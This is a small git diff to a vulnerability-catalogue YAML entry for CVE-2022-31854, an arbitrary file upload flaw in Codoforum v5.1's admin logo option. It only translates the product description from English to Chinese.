| 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/codoforum/2022/yaml/CVE-2022-31854.yaml b/cve/codoforum/2022/yaml/CVE-2022-31854.yaml index 60153df1..7e1a6423 100644 --- a/cve/codoforum/2022/yaml/CVE-2022-31854.yaml +++ b/cve/codoforum/2022/yaml/CVE-2022-31854.yaml @@ -1,7 +1,7 @@ id: CVE-2022-31854 source: https://github.com/Vikaran101/CVE-2022-31854 info: - name: Codoforum – a freemium, cross-platform forum application, which requires a PHP based web server to work. + name: Codoforum – 一个免费增值的跨平台论坛应用程序,需要基于 PHP 的 Web 服务器才能工作。 severity: high description: | 通过管理面板中的徽标更改选项发现Codoforum v5.1包含任意文件上传漏洞。 -- Gitee